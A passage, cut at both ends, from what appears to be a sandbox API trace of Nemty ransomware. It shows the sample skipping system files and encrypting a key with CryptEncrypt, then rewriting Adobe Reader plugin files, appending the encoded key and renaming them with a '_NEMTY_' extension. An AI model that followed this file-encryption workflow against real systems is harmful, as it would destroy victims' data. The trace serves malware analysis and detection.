(lpString1="PDDom.api", lpString2="$RECYCLE.BIN") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="rsa") returned -1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="NTDETECT.COM") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="ntldr") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="MSDOS.SYS") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="IO.SYS") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="boot.ini") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="boot.ini") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="ntuser.dat") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="desktop.ini") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="CONFIG.SYS") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="RECYCLER") returned -1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="BOOTSECT.BAK") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="bootmgr") returned 1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="programdata") returned -1 [0192.626] lstrcmpiW (lpString1="PDDom.api", lpString2="appdata") returned 1 [0192.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.api", lpUsedDefaultChar=0x0) returned 9 [0192.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.api", lpUsedDefaultChar=0x0) returned 9 [0192.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.api", lpUsedDefaultChar=0x0) returned 9 [0192.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.api", lpUsedDefaultChar=0x0) returned 9 [0192.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.627] Sleep (dwMilliseconds=0x5) [0192.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26787890, dwHighDateTime=0x1d561e8)) [0192.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26787890, dwHighDateTime=0x1d561e8)) [0192.642] GetLastError () returned 0x0 [0192.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.643] GetLastError () returned 0x0 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="BRDGavrR4V2GfX2RUCzHWKDCWQSneT7g0Kwi+efSCi8rcks75NzM2PAhsCC+lFVc\r\nkYIYGhl2Uz/7qyVDNNWnHWsR+ys4dNSIwFvEIqTyTRGj0YmrYAXrI+6TLXHhKLJ0\r\n2Q0B5lcCAMZ+qaPmlvWl5IqD3rBNGyc75GZAWlK+YBsd7cVLFK+ANsBOLjGd17DA\r\n2cXbZlgymPzl6+KKg5Qreqv41YJEPOFLWn5IQ4+3QNTQFhz+ueIvHVDTpGJg2fKA\r\ngPWjh6ZfYBrlro6NIvskyQMz+0tw3EIDkNgj90STO4+iKWdVm3BTKlmwIZw6AUcb\r\ngWJGpItKsmnpyE7Mym/mxQ==\r\n", pcchString=0x653e91c) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.644] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=430691) returned 1 [0192.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.644] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.644] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.653] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.653] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.653] SetFilePointer (in: hFile=0x254, lDistanceToMove=430691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69263 [0192.654] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.655] CloseHandle (hObject=0x254) returned 1 [0192.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.656] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api._nemty_kgobjgd_")) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.657] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2=".") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="..") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="...") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="windows") returned -1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="$RECYCLE.BIN") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="rsa") returned -1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="NTDETECT.COM") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="ntldr") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="MSDOS.SYS") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="IO.SYS") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="boot.ini") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="boot.ini") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="ntuser.dat") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="desktop.ini") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="CONFIG.SYS") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="RECYCLER") returned -1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="BOOTSECT.BAK") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="bootmgr") returned 1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="programdata") returned -1 [0192.657] lstrcmpiW (lpString1="PPKLite.api", lpString2="appdata") returned 1 [0192.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.api", lpUsedDefaultChar=0x0) returned 11 [0192.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.api", lpUsedDefaultChar=0x0) returned 11 [0192.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.api", lpUsedDefaultChar=0x0) returned 11 [0192.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0192.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.api", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.api", lpUsedDefaultChar=0x0) returned 11 [0192.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.658] Sleep (dwMilliseconds=0x5) [0192.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x267d3b50, dwHighDateTime=0x1d561e8)) [0192.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x267d3b50, dwHighDateTime=0x1d561e8)) [0192.673] GetLastError () returned 0x0 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.674] GetLastError () returned 0x0 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.674] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.674] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="hDQN62xSHVhq9WxOB/rkIMIgjHm7A6Ab5aRiz3EtW6GtvmFgUhiaqAKEm1z8A61R\r\n16aw836GvdiG5CDU8gb2WrJg1BDvLdCUzYu7zXONWW7sPXIPphsn5r4fjIhXpVvd\r\ny33N7ZFR99Ndgm03/7U47Lxp2CNqFn+ngvAIKcAcquKdofwcjPXsxx1ljsdnxr94\r\noTYFiaM2YHLBlEPZ5LKnEaUDszQ9i78j/54+i8Wqx2QzCCntasUX80JJnrSSOSmg\r\nZ5YCdOayvC5/0t5my4ZGLhngGc85vdbuz/qL52aA2U2FOn1NtEuyrAQskjl+xZCg\r\nLncUECAtPhhFJfYiY0jWfA==\r\n", pcchString=0x653e91c) returned 1 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.674] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.675] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7598691) returned 1 [0192.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0192.675] SetFilePointer (in: hFile=0x254, lDistanceToMove=2199345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x218f31 [0192.675] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.687] SetFilePointer (in: hFile=0x254, lDistanceToMove=2199345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x218f31 [0192.687] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.688] SetFilePointer (in: hFile=0x254, lDistanceToMove=2359345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240031 [0192.688] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.698] SetFilePointer (in: hFile=0x254, lDistanceToMove=2359345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240031 [0192.698] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.699] SetFilePointer (in: hFile=0x254, lDistanceToMove=2519345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x267131 [0192.699] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.711] SetFilePointer (in: hFile=0x254, lDistanceToMove=2519345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x267131 [0192.711] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.711] SetFilePointer (in: hFile=0x254, lDistanceToMove=2679345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28e231 [0192.711] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.722] SetFilePointer (in: hFile=0x254, lDistanceToMove=2679345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28e231 [0192.722] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.723] SetFilePointer (in: hFile=0x254, lDistanceToMove=2839345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5331 [0192.723] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.738] SetFilePointer (in: hFile=0x254, lDistanceToMove=2839345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5331 [0192.738] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.738] SetFilePointer (in: hFile=0x254, lDistanceToMove=2999345, lpDistanceToMoveHigh=0x0, 